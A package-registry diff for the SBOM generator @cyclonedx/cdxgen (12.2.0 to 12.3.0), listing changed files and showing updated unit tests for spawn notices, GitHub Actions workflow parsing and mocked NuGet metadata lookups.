@cyclonedx/cdxgen 12.2.0 → 12.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +242 -90
- package/bin/audit.js +191 -0
- package/bin/cdxgen.js +532 -168
- package/bin/convert.js +99 -0
- package/bin/evinse.js +23 -0
- package/bin/repl.js +339 -8
- package/bin/sign.js +8 -0
- package/bin/validate.js +8 -0
- package/bin/verify.js +8 -0
- package/data/container-knowledge-index.json +125 -0
- package/data/gtfobins-index.json +6296 -0
- package/data/lolbas-index.json +150 -0
- package/data/queries-darwin.json +63 -3
- package/data/queries-win.json +45 -3
- package/data/queries.json +74 -2
- package/data/rules/chrome-extensions.yaml +240 -0
- package/data/rules/ci-permissions.yaml +478 -18
- package/data/rules/container-risk.yaml +270 -0
- package/data/rules/obom-runtime.yaml +891 -0
- package/data/rules/package-integrity.yaml +49 -0
- package/data/spdx-export.schema.json +6794 -0
- package/data/spdx-model-v3.0.1.jsonld +15999 -0
- package/lib/audit/index.js +1924 -0
- package/lib/audit/index.poku.js +1488 -0
- package/lib/audit/progress.js +137 -0
- package/lib/audit/progress.poku.js +188 -0
- package/lib/audit/reporters.js +618 -0
- package/lib/audit/scoring.js +310 -0
- package/lib/audit/scoring.poku.js +341 -0
- package/lib/audit/targets.js +260 -0
- package/lib/audit/targets.poku.js +331 -0
- package/lib/cli/index.js +276 -68
- package/lib/cli/index.poku.js +368 -0
- package/lib/helpers/analyzer.js +1052 -5
- package/lib/helpers/analyzer.poku.js +301 -0
- package/lib/helpers/annotationFormatter.js +49 -0
- package/lib/helpers/annotationFormatter.poku.js +44 -0
- package/lib/helpers/bomUtils.js +36 -0
- package/lib/helpers/bomUtils.poku.js +51 -0
- package/lib/helpers/caxa.js +2 -2
- package/lib/helpers/chromextutils.js +1153 -0
- package/lib/helpers/chromextutils.poku.js +493 -0
- package/lib/helpers/ciParsers/githubActions.js +1632 -45
- package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
- package/lib/helpers/containerRisk.js +186 -0
- package/lib/helpers/containerRisk.poku.js +52 -0
- package/lib/helpers/depsUtils.js +16 -0
- package/lib/helpers/depsUtils.poku.js +58 -1
- package/lib/helpers/display.js +245 -61
- package/lib/helpers/display.poku.js +162 -2
- package/lib/helpers/exportUtils.js +123 -0
- package/lib/helpers/exportUtils.poku.js +60 -0
- package/lib/helpers/formulationParsers.js +69 -0
- package/lib/helpers/formulationParsers.poku.js +44 -0
- package/lib/helpers/gtfobins.js +189 -0
- package/lib/helpers/gtfobins.poku.js +49 -0
- package/lib/helpers/lolbas.js +267 -0
- package/lib/helpers/lolbas.poku.js +39 -0
- package/lib/helpers/osqueryTransform.js +84 -0
- package/lib/helpers/osqueryTransform.poku.js +49 -0
- package/lib/helpers/provenanceUtils.js +193 -0
- package/lib/helpers/provenanceUtils.poku.js +145 -0
- package/lib/helpers/pylockutils.js +281 -0
- package/lib/helpers/pylockutils.poku.js +48 -0
- package/lib/helpers/registryProvenance.js +793 -0
- package/lib/helpers/registryProvenance.poku.js +452 -0
- package/lib/helpers/remote/dependency-track.js +84 -0
- package/lib/helpers/remote/dependency-track.poku.js +119 -0
- package/lib/helpers/source.js +1267 -0
- package/lib/helpers/source.poku.js +771 -0
- package/lib/helpers/spdxUtils.js +97 -0
- package/lib/helpers/spdxUtils.poku.js +70 -0
- package/lib/helpers/table.js +384 -0
- package/lib/helpers/table.poku.js +186 -0
- package/lib/helpers/unicodeScan.js +147 -0
- package/lib/helpers/unicodeScan.poku.js +45 -0
- package/lib/helpers/utils.js +882 -136
- package/lib/helpers/utils.poku.js +995 -91
- package/lib/managers/binary.js +29 -5
- package/lib/managers/docker.js +179 -52
- package/lib/managers/docker.poku.js +327 -28
- package/lib/managers/oci.js +107 -23
- package/lib/managers/oci.poku.js +132 -0
- package/lib/server/openapi.yaml +50 -0
- package/lib/server/server.js +228 -331
- package/lib/server/server.poku.js +220 -5
- package/lib/stages/postgen/annotator.js +7 -0
- package/lib/stages/postgen/annotator.poku.js +40 -0
- package/lib/stages/postgen/auditBom.js +20 -5
- package/lib/stages/postgen/auditBom.poku.js +1729 -67
- package/lib/stages/postgen/postgen.js +40 -0
- package/lib/stages/postgen/postgen.poku.js +47 -0
- package/lib/stages/postgen/ruleEngine.js +80 -2
- package/lib/stages/postgen/spdxConverter.js +796 -0
- package/lib/stages/postgen/spdxConverter.poku.js +341 -0
- package/lib/validator/bomValidator.js +232 -0
- package/lib/validator/bomValidator.poku.js +70 -0
- package/lib/validator/complianceRules.js +70 -7
- package/lib/validator/complianceRules.poku.js +30 -0
- package/lib/validator/reporters/annotations.js +2 -2
- package/lib/validator/reporters/console.js +13 -2
- package/lib/validator/reporters.poku.js +13 -0
- package/package.json +10 -8
- package/types/bin/audit.d.ts +3 -0
- package/types/bin/audit.d.ts.map +1 -0
- package/types/bin/convert.d.ts +3 -0
- package/types/bin/convert.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +115 -0
- package/types/lib/audit/index.d.ts.map +1 -0
- package/types/lib/audit/progress.d.ts +27 -0
- package/types/lib/audit/progress.d.ts.map +1 -0
- package/types/lib/audit/reporters.d.ts +35 -0
- package/types/lib/audit/reporters.d.ts.map +1 -0
- package/types/lib/audit/scoring.d.ts +35 -0
- package/types/lib/audit/scoring.d.ts.map +1 -0
- package/types/lib/audit/targets.d.ts +63 -0
- package/types/lib/audit/targets.d.ts.map +1 -0
- package/types/lib/cli/index.d.ts +8 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +13 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/annotationFormatter.d.ts +23 -0
- package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
- package/types/lib/helpers/bomUtils.d.ts +5 -0
- package/types/lib/helpers/bomUtils.d.ts.map +1 -0
- package/types/lib/helpers/chromextutils.d.ts +97 -0
- package/types/lib/helpers/chromextutils.d.ts.map +1 -0
- package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
- package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
- package/types/lib/helpers/containerRisk.d.ts +17 -0
- package/types/lib/helpers/containerRisk.d.ts.map +1 -0
- package/types/lib/helpers/depsUtils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts +4 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/exportUtils.d.ts +40 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -0
- package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +17 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts +16 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -0
- package/types/lib/helpers/osqueryTransform.d.ts +7 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
- package/types/lib/helpers/provenanceUtils.d.ts +90 -0
- package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
- package/types/lib/helpers/pylockutils.d.ts +51 -0
- package/types/lib/helpers/pylockutils.d.ts.map +1 -0
- package/types/lib/helpers/registryProvenance.d.ts +17 -0
- package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
- package/types/lib/helpers/remote/dependency-track.d.ts +16 -0
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -0
- package/types/lib/helpers/source.d.ts +141 -0
- package/types/lib/helpers/source.d.ts.map +1 -0
- package/types/lib/helpers/spdxUtils.d.ts +2 -0
- package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
- package/types/lib/helpers/table.d.ts +6 -0
- package/types/lib/helpers/table.d.ts.map +1 -0
- package/types/lib/helpers/unicodeScan.d.ts +46 -0
- package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
- package/types/lib/helpers/utils.d.ts +30 -11
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/managers/oci.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +0 -35
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
- package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
- package/types/lib/validator/bomValidator.d.ts +1 -0
- package/types/lib/validator/bomValidator.d.ts.map +1 -1
- package/types/lib/validator/complianceRules.d.ts.map +1 -1
- package/types/lib/validator/reporters/console.d.ts.map +1 -1
- package/types/bin/dependencies.d.ts +0 -3
- package/types/bin/dependencies.d.ts.map +0 -1
- package/types/bin/licenses.d.ts +0 -3
- package/types/bin/licenses.d.ts.map +0 -1
|
@@ -1,9 +1,21 @@
|
|
|
1
1
|
import { Buffer } from "node:buffer";
|
|
2
|
-
import {
|
|
2
|
+
import {
|
|
3
|
+
existsSync,
|
|
4
|
+
mkdirSync,
|
|
5
|
+
mkdtempSync,
|
|
6
|
+
readFileSync,
|
|
7
|
+
rmSync,
|
|
8
|
+
unlinkSync,
|
|
9
|
+
writeFileSync,
|
|
10
|
+
} from "node:fs";
|
|
11
|
+
import { tmpdir } from "node:os";
|
|
3
12
|
import path from "node:path";
|
|
13
|
+
import process from "node:process";
|
|
4
14
|
|
|
15
|
+
import esmock from "esmock";
|
|
5
16
|
import { PackageURL } from "packageurl-js";
|
|
6
17
|
import { assert, describe, it, test } from "poku";
|
|
18
|
+
import sinon from "sinon";
|
|
7
19
|
import { parse } from "ssri";
|
|
8
20
|
import { parse as loadYaml } from "yaml";
|
|
9
21
|
|
|
@@ -11,6 +23,7 @@ import { validateRefs } from "../validator/bomValidator.js";
|
|
|
11
23
|
import {
|
|
12
24
|
buildObjectForCocoaPod,
|
|
13
25
|
buildObjectForGradleModule,
|
|
26
|
+
convertOSQueryResults,
|
|
14
27
|
encodeForPurl,
|
|
15
28
|
findLicenseId,
|
|
16
29
|
findPnpmPackagePath,
|
|
@@ -18,11 +31,11 @@ import {
|
|
|
18
31
|
getDartMetadata,
|
|
19
32
|
getLicenses,
|
|
20
33
|
getMvnMetadata,
|
|
21
|
-
getNugetMetadata,
|
|
22
34
|
getPropertyGroupTextNodes,
|
|
23
35
|
getPyMetadata,
|
|
24
36
|
guessPypiMatchingVersion,
|
|
25
37
|
hasAnyProjectType,
|
|
38
|
+
inferJarGroupFromManifest,
|
|
26
39
|
isPackageManagerAllowed,
|
|
27
40
|
isPartialTree,
|
|
28
41
|
isValidIriReference,
|
|
@@ -71,6 +84,7 @@ import {
|
|
|
71
84
|
parseGradleProjects,
|
|
72
85
|
parseGradleProperties,
|
|
73
86
|
parseHelmYamlData,
|
|
87
|
+
parseJarManifest,
|
|
74
88
|
parseKVDep,
|
|
75
89
|
parseLeinDep,
|
|
76
90
|
parseLeiningenData,
|
|
@@ -93,6 +107,7 @@ import {
|
|
|
93
107
|
parsePodfileLock,
|
|
94
108
|
parsePodfileTargets,
|
|
95
109
|
parsePom,
|
|
110
|
+
parsePomProperties,
|
|
96
111
|
parsePrivadoFile,
|
|
97
112
|
parsePubLockData,
|
|
98
113
|
parsePubYamlData,
|
|
@@ -110,11 +125,21 @@ import {
|
|
|
110
125
|
pnpmMetadata,
|
|
111
126
|
purlFromUrlString,
|
|
112
127
|
readZipEntry,
|
|
128
|
+
safeSpawnSync,
|
|
113
129
|
splitOutputByGradleProjects,
|
|
114
130
|
toGemModuleNames,
|
|
131
|
+
trimJarGroupSuffix,
|
|
115
132
|
yarnLockToIdentMap,
|
|
116
133
|
} from "./utils.js";
|
|
117
134
|
|
|
135
|
+
const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
|
|
136
|
+
|
|
137
|
+
function readJarMetadataFixture(...segments) {
|
|
138
|
+
return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
|
|
139
|
+
encoding: "utf-8",
|
|
140
|
+
});
|
|
141
|
+
}
|
|
142
|
+
|
|
118
143
|
it("SSRI test", () => {
|
|
119
144
|
// gopkg.lock hash
|
|
120
145
|
let ss = parse(
|
|
@@ -198,6 +223,81 @@ it("finds license id from name", () => {
|
|
|
198
223
|
);
|
|
199
224
|
});
|
|
200
225
|
|
|
226
|
+
it("safeSpawnSync() resets ANSI color state for host pip warnings", () => {
|
|
227
|
+
const originalConsoleWarn = console.warn;
|
|
228
|
+
const originalContainer = process.env.CDXGEN_IN_CONTAINER;
|
|
229
|
+
const originalNoticeCache = globalThis.__cdxgenNoticeCache;
|
|
230
|
+
const warnings = [];
|
|
231
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
232
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
233
|
+
console.warn = (message) => {
|
|
234
|
+
warnings.push(message);
|
|
235
|
+
};
|
|
236
|
+
|
|
237
|
+
try {
|
|
238
|
+
safeSpawnSync("pip-cdxgen-test", ["install"], {});
|
|
239
|
+
assert.strictEqual(warnings.length, 1);
|
|
240
|
+
assert.ok(
|
|
241
|
+
warnings[0].startsWith(
|
|
242
|
+
"\x1b[1;35mNotice: pip/uv install invoked without '--only-binary'.",
|
|
243
|
+
),
|
|
244
|
+
);
|
|
245
|
+
assert.ok(warnings[0].endsWith("\x1b[0m"));
|
|
246
|
+
assert.ok(!warnings[0].endsWith("\x1b"));
|
|
247
|
+
} finally {
|
|
248
|
+
console.warn = originalConsoleWarn;
|
|
249
|
+
if (originalContainer === undefined) {
|
|
250
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
251
|
+
} else {
|
|
252
|
+
process.env.CDXGEN_IN_CONTAINER = originalContainer;
|
|
253
|
+
}
|
|
254
|
+
if (originalNoticeCache === undefined) {
|
|
255
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
256
|
+
} else {
|
|
257
|
+
globalThis.__cdxgenNoticeCache = originalNoticeCache;
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
});
|
|
261
|
+
|
|
262
|
+
it("safeSpawnSync() logs container python notices to stdout", () => {
|
|
263
|
+
const originalConsoleLog = console.log;
|
|
264
|
+
const originalConsoleWarn = console.warn;
|
|
265
|
+
const originalContainer = process.env.CDXGEN_IN_CONTAINER;
|
|
266
|
+
const originalNoticeCache = globalThis.__cdxgenNoticeCache;
|
|
267
|
+
const logs = [];
|
|
268
|
+
const warnings = [];
|
|
269
|
+
process.env.CDXGEN_IN_CONTAINER = "true";
|
|
270
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
271
|
+
console.log = (message) => {
|
|
272
|
+
logs.push(message);
|
|
273
|
+
};
|
|
274
|
+
console.warn = (message) => {
|
|
275
|
+
warnings.push(message);
|
|
276
|
+
};
|
|
277
|
+
|
|
278
|
+
try {
|
|
279
|
+
safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
|
|
280
|
+
safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
|
|
281
|
+
assert.deepStrictEqual(logs, [
|
|
282
|
+
"Running python command without '-S' argument.",
|
|
283
|
+
]);
|
|
284
|
+
assert.deepStrictEqual(warnings, []);
|
|
285
|
+
} finally {
|
|
286
|
+
console.log = originalConsoleLog;
|
|
287
|
+
console.warn = originalConsoleWarn;
|
|
288
|
+
if (originalContainer === undefined) {
|
|
289
|
+
delete process.env.CDXGEN_IN_CONTAINER;
|
|
290
|
+
} else {
|
|
291
|
+
process.env.CDXGEN_IN_CONTAINER = originalContainer;
|
|
292
|
+
}
|
|
293
|
+
if (originalNoticeCache === undefined) {
|
|
294
|
+
delete globalThis.__cdxgenNoticeCache;
|
|
295
|
+
} else {
|
|
296
|
+
globalThis.__cdxgenNoticeCache = originalNoticeCache;
|
|
297
|
+
}
|
|
298
|
+
}
|
|
299
|
+
});
|
|
300
|
+
|
|
201
301
|
it("splits parallel gradle properties output correctly", () => {
|
|
202
302
|
const parallelGradlePropertiesOutput = readFileSync(
|
|
203
303
|
"./test/gradle-prop-parallel.out",
|
|
@@ -2597,81 +2697,82 @@ it("parse github actions workflow data", () => {
|
|
|
2597
2697
|
assert.deepStrictEqual(parseGitHubWorkflowData(null), []);
|
|
2598
2698
|
let dep_list = parseGitHubWorkflowData("./.github/workflows/nodejs.yml");
|
|
2599
2699
|
assert.deepStrictEqual(dep_list.length, 13);
|
|
2600
|
-
|
|
2601
|
-
|
|
2602
|
-
|
|
2603
|
-
|
|
2604
|
-
|
|
2605
|
-
|
|
2606
|
-
version
|
|
2607
|
-
|
|
2608
|
-
|
|
2609
|
-
|
|
2610
|
-
|
|
2611
|
-
|
|
2612
|
-
|
|
2613
|
-
|
|
2614
|
-
|
|
2615
|
-
|
|
2616
|
-
|
|
2617
|
-
|
|
2618
|
-
|
|
2619
|
-
|
|
2620
|
-
|
|
2621
|
-
|
|
2622
|
-
|
|
2623
|
-
|
|
2624
|
-
|
|
2625
|
-
|
|
2626
|
-
|
|
2627
|
-
|
|
2628
|
-
|
|
2629
|
-
|
|
2630
|
-
|
|
2631
|
-
|
|
2632
|
-
|
|
2633
|
-
|
|
2634
|
-
|
|
2635
|
-
|
|
2636
|
-
|
|
2637
|
-
|
|
2638
|
-
|
|
2639
|
-
|
|
2640
|
-
|
|
2641
|
-
|
|
2642
|
-
|
|
2643
|
-
|
|
2644
|
-
|
|
2645
|
-
|
|
2646
|
-
|
|
2647
|
-
|
|
2648
|
-
|
|
2649
|
-
|
|
2650
|
-
|
|
2651
|
-
|
|
2652
|
-
|
|
2653
|
-
|
|
2654
|
-
|
|
2655
|
-
|
|
2656
|
-
|
|
2657
|
-
|
|
2658
|
-
|
|
2659
|
-
|
|
2660
|
-
|
|
2661
|
-
|
|
2662
|
-
|
|
2663
|
-
|
|
2664
|
-
|
|
2665
|
-
|
|
2666
|
-
|
|
2667
|
-
|
|
2668
|
-
|
|
2669
|
-
|
|
2670
|
-
|
|
2700
|
+
const firstAction = dep_list[0];
|
|
2701
|
+
assert.deepStrictEqual(firstAction["bom-ref"], firstAction.purl);
|
|
2702
|
+
assert.deepStrictEqual(firstAction.type, "application");
|
|
2703
|
+
assert.deepStrictEqual(firstAction.group, "actions");
|
|
2704
|
+
assert.deepStrictEqual(firstAction.name, "checkout");
|
|
2705
|
+
assert.deepStrictEqual(
|
|
2706
|
+
firstAction.version,
|
|
2707
|
+
"de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2708
|
+
);
|
|
2709
|
+
assert.deepStrictEqual(
|
|
2710
|
+
firstAction.purl,
|
|
2711
|
+
"pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2712
|
+
);
|
|
2713
|
+
assert.deepStrictEqual(firstAction.scope, "required");
|
|
2714
|
+
assert.deepStrictEqual(firstAction.evidence?.identity?.[0]?.field, "purl");
|
|
2715
|
+
assert.deepStrictEqual(
|
|
2716
|
+
firstAction.evidence?.identity?.[0]?.methods?.[0]?.value,
|
|
2717
|
+
"./.github/workflows/nodejs.yml",
|
|
2718
|
+
);
|
|
2719
|
+
const firstActionProps = Object.fromEntries(
|
|
2720
|
+
firstAction.properties.map((prop) => [prop.name, prop.value]),
|
|
2721
|
+
);
|
|
2722
|
+
assert.deepStrictEqual(
|
|
2723
|
+
firstActionProps.SrcFile,
|
|
2724
|
+
"./.github/workflows/nodejs.yml",
|
|
2725
|
+
);
|
|
2726
|
+
assert.deepStrictEqual(
|
|
2727
|
+
firstActionProps["cdx:github:workflow:name"],
|
|
2728
|
+
"Node CI",
|
|
2729
|
+
);
|
|
2730
|
+
assert.deepStrictEqual(
|
|
2731
|
+
firstActionProps["cdx:github:workflow:file"],
|
|
2732
|
+
"./.github/workflows/nodejs.yml",
|
|
2733
|
+
);
|
|
2734
|
+
assert.deepStrictEqual(
|
|
2735
|
+
firstActionProps["cdx:github:job:name"],
|
|
2736
|
+
"read-node-versions",
|
|
2737
|
+
);
|
|
2738
|
+
assert.deepStrictEqual(
|
|
2739
|
+
firstActionProps["cdx:github:job:runner"],
|
|
2740
|
+
"ubuntu-latest",
|
|
2741
|
+
);
|
|
2742
|
+
assert.deepStrictEqual(
|
|
2743
|
+
firstActionProps["cdx:github:action:uses"],
|
|
2744
|
+
"actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
|
|
2745
|
+
);
|
|
2746
|
+
assert.deepStrictEqual(
|
|
2747
|
+
firstActionProps["cdx:github:action:versionPinningType"],
|
|
2748
|
+
"sha",
|
|
2749
|
+
);
|
|
2750
|
+
assert.deepStrictEqual(
|
|
2751
|
+
firstActionProps["cdx:github:action:isShaPinned"],
|
|
2752
|
+
"true",
|
|
2753
|
+
);
|
|
2754
|
+
assert.deepStrictEqual(firstActionProps["cdx:actions:isOfficial"], "true");
|
|
2755
|
+
assert.deepStrictEqual(firstActionProps["cdx:actions:isVerified"], "false");
|
|
2756
|
+
assert.deepStrictEqual(
|
|
2757
|
+
firstActionProps["cdx:github:checkout:persistCredentials"],
|
|
2758
|
+
"false",
|
|
2759
|
+
);
|
|
2760
|
+
assert.deepStrictEqual(
|
|
2761
|
+
firstActionProps["cdx:github:workflow:triggers"],
|
|
2762
|
+
"pull_request,push,workflow_dispatch",
|
|
2763
|
+
);
|
|
2764
|
+
assert.deepStrictEqual(
|
|
2765
|
+
firstActionProps["cdx:github:workflow:hasPullRequestTrigger"],
|
|
2766
|
+
"true",
|
|
2767
|
+
);
|
|
2768
|
+
assert.deepStrictEqual(
|
|
2769
|
+
firstActionProps["cdx:github:workflow:hasWorkflowDispatchTrigger"],
|
|
2770
|
+
"true",
|
|
2771
|
+
);
|
|
2671
2772
|
dep_list = parseGitHubWorkflowData("./test/data/github-actions-tj.yaml");
|
|
2672
2773
|
assert.deepStrictEqual(dep_list.length, 4);
|
|
2673
2774
|
dep_list = parseGitHubWorkflowData("./.github/workflows/repotests.yml");
|
|
2674
|
-
assert.deepStrictEqual(dep_list.length,
|
|
2775
|
+
assert.deepStrictEqual(dep_list.length, 91);
|
|
2675
2776
|
});
|
|
2676
2777
|
// biome-ignore-end lint/suspicious/noTemplateCurlyInString: fp
|
|
2677
2778
|
|
|
@@ -3334,6 +3435,10 @@ it("get nget metadata", async () => {
|
|
|
3334
3435
|
],
|
|
3335
3436
|
ref: "pkg:nuget/Serilog@3.0.1",
|
|
3336
3437
|
},
|
|
3438
|
+
{
|
|
3439
|
+
dependsOn: ["pkg:nuget/Serilog@3.0.1"],
|
|
3440
|
+
ref: "pkg:nuget/Sample@latest",
|
|
3441
|
+
},
|
|
3337
3442
|
];
|
|
3338
3443
|
const pkg_list = [
|
|
3339
3444
|
{
|
|
@@ -3348,9 +3453,133 @@ it("get nget metadata", async () => {
|
|
|
3348
3453
|
version: "3.0.1",
|
|
3349
3454
|
"bom-ref": "pkg:nuget/Serilog@3.0.1",
|
|
3350
3455
|
},
|
|
3456
|
+
{
|
|
3457
|
+
group: "",
|
|
3458
|
+
name: "Sample",
|
|
3459
|
+
version: "latest",
|
|
3460
|
+
"bom-ref": "pkg:nuget/Sample@latest",
|
|
3461
|
+
},
|
|
3351
3462
|
];
|
|
3352
|
-
const
|
|
3353
|
-
|
|
3463
|
+
const responses = new Map([
|
|
3464
|
+
[
|
|
3465
|
+
"https://api.nuget.org/v3/index.json",
|
|
3466
|
+
{
|
|
3467
|
+
body: {
|
|
3468
|
+
resources: [
|
|
3469
|
+
{
|
|
3470
|
+
"@type": "RegistrationsBaseUrl/3.6.0",
|
|
3471
|
+
"@id": "https://api.nuget.org/v3/registration3/",
|
|
3472
|
+
},
|
|
3473
|
+
],
|
|
3474
|
+
},
|
|
3475
|
+
},
|
|
3476
|
+
],
|
|
3477
|
+
[
|
|
3478
|
+
"https://api.nuget.org/v3/registration3/castle.core/index.json",
|
|
3479
|
+
{
|
|
3480
|
+
body: {
|
|
3481
|
+
items: [
|
|
3482
|
+
{
|
|
3483
|
+
lower: "4.0.0",
|
|
3484
|
+
upper: "4.4.0",
|
|
3485
|
+
items: [
|
|
3486
|
+
{
|
|
3487
|
+
catalogEntry: {
|
|
3488
|
+
version: "4.4.0",
|
|
3489
|
+
description:
|
|
3490
|
+
"Castle Core, including DynamicProxy, Logging Abstractions and DictionaryAdapter",
|
|
3491
|
+
authors: "Castle Project Contributors",
|
|
3492
|
+
licenseExpression: "Apache-2.0",
|
|
3493
|
+
tags: [
|
|
3494
|
+
"Castle",
|
|
3495
|
+
"DynamicProxy",
|
|
3496
|
+
"dynamic",
|
|
3497
|
+
"proxy",
|
|
3498
|
+
"dynamicproxy2",
|
|
3499
|
+
"dictionaryadapter",
|
|
3500
|
+
"emailsender",
|
|
3501
|
+
],
|
|
3502
|
+
projectUrl: "http://www.castleproject.org/",
|
|
3503
|
+
},
|
|
3504
|
+
},
|
|
3505
|
+
],
|
|
3506
|
+
},
|
|
3507
|
+
],
|
|
3508
|
+
},
|
|
3509
|
+
},
|
|
3510
|
+
],
|
|
3511
|
+
[
|
|
3512
|
+
"https://api.nuget.org/v3/registration3/serilog/index.json",
|
|
3513
|
+
{
|
|
3514
|
+
body: {
|
|
3515
|
+
items: [
|
|
3516
|
+
{
|
|
3517
|
+
lower: "3.0.0",
|
|
3518
|
+
upper: "3.0.1",
|
|
3519
|
+
items: [
|
|
3520
|
+
{
|
|
3521
|
+
catalogEntry: {
|
|
3522
|
+
version: "3.0.1",
|
|
3523
|
+
description:
|
|
3524
|
+
"Simple .NET logging with fully-structured events",
|
|
3525
|
+
authors: "Serilog Contributors",
|
|
3526
|
+
licenseExpression: "Apache-2.0",
|
|
3527
|
+
tags: ["serilog", "logging", "semantic", "structured"],
|
|
3528
|
+
projectUrl: "https://serilog.net/",
|
|
3529
|
+
},
|
|
3530
|
+
},
|
|
3531
|
+
],
|
|
3532
|
+
},
|
|
3533
|
+
],
|
|
3534
|
+
},
|
|
3535
|
+
},
|
|
3536
|
+
],
|
|
3537
|
+
[
|
|
3538
|
+
"https://api.nuget.org/v3/registration3/sample/index.json",
|
|
3539
|
+
{
|
|
3540
|
+
body: {
|
|
3541
|
+
items: [
|
|
3542
|
+
{
|
|
3543
|
+
lower: "1.0.0",
|
|
3544
|
+
upper: "1.2.3",
|
|
3545
|
+
items: [
|
|
3546
|
+
{
|
|
3547
|
+
catalogEntry: {
|
|
3548
|
+
version: "1.2.3",
|
|
3549
|
+
description: "Sample package for metadata tests",
|
|
3550
|
+
authors: "Sample Maintainers",
|
|
3551
|
+
licenseExpression: "MIT",
|
|
3552
|
+
tags: ["Sample", "Demo"],
|
|
3553
|
+
projectUrl: "https://example.invalid/sample",
|
|
3554
|
+
},
|
|
3555
|
+
},
|
|
3556
|
+
],
|
|
3557
|
+
},
|
|
3558
|
+
],
|
|
3559
|
+
},
|
|
3560
|
+
},
|
|
3561
|
+
],
|
|
3562
|
+
]);
|
|
3563
|
+
const agentGet = sinon.stub().callsFake(async (url, options) => {
|
|
3564
|
+
assert.strictEqual(options?.responseType, "json");
|
|
3565
|
+
const response = responses.get(String(url));
|
|
3566
|
+
assert.ok(response, `unexpected NuGet request: ${url}`);
|
|
3567
|
+
return response;
|
|
3568
|
+
});
|
|
3569
|
+
const { getNugetMetadata: mockedGetNugetMetadata } = await esmock(
|
|
3570
|
+
"./utils.js",
|
|
3571
|
+
{
|
|
3572
|
+
got: {
|
|
3573
|
+
default: {
|
|
3574
|
+
extend: sinon.stub().returns({ get: agentGet }),
|
|
3575
|
+
},
|
|
3576
|
+
},
|
|
3577
|
+
},
|
|
3578
|
+
);
|
|
3579
|
+
const { pkgList, dependencies } = await mockedGetNugetMetadata(
|
|
3580
|
+
pkg_list,
|
|
3581
|
+
dep_list,
|
|
3582
|
+
);
|
|
3354
3583
|
assert.deepStrictEqual(pkgList, [
|
|
3355
3584
|
{
|
|
3356
3585
|
author: "Castle Project Contributors",
|
|
@@ -3393,8 +3622,24 @@ it("get nget metadata", async () => {
|
|
|
3393
3622
|
tags: ["serilog", "logging", "semantic", "structured"],
|
|
3394
3623
|
version: "3.0.1",
|
|
3395
3624
|
},
|
|
3625
|
+
{
|
|
3626
|
+
author: "Sample Maintainers",
|
|
3627
|
+
"bom-ref": "pkg:nuget/Sample@1.2.3",
|
|
3628
|
+
description: "Sample package for metadata tests",
|
|
3629
|
+
group: "",
|
|
3630
|
+
homepage: {
|
|
3631
|
+
url: "https://www.nuget.org/packages/Sample/1.2.3/",
|
|
3632
|
+
},
|
|
3633
|
+
license: "MIT",
|
|
3634
|
+
name: "Sample",
|
|
3635
|
+
repository: {
|
|
3636
|
+
url: "https://example.invalid/sample",
|
|
3637
|
+
},
|
|
3638
|
+
tags: ["sample", "demo"],
|
|
3639
|
+
version: "1.2.3",
|
|
3640
|
+
},
|
|
3396
3641
|
]);
|
|
3397
|
-
assert.deepStrictEqual(pkgList.length,
|
|
3642
|
+
assert.deepStrictEqual(pkgList.length, 3);
|
|
3398
3643
|
assert.deepStrictEqual(dependencies, [
|
|
3399
3644
|
{
|
|
3400
3645
|
dependsOn: [
|
|
@@ -3432,6 +3677,10 @@ it("get nget metadata", async () => {
|
|
|
3432
3677
|
],
|
|
3433
3678
|
ref: "pkg:nuget/Serilog@3.0.1",
|
|
3434
3679
|
},
|
|
3680
|
+
{
|
|
3681
|
+
dependsOn: ["pkg:nuget/Serilog@3.0.1"],
|
|
3682
|
+
ref: "pkg:nuget/Sample@1.2.3",
|
|
3683
|
+
},
|
|
3435
3684
|
]);
|
|
3436
3685
|
}, 240000);
|
|
3437
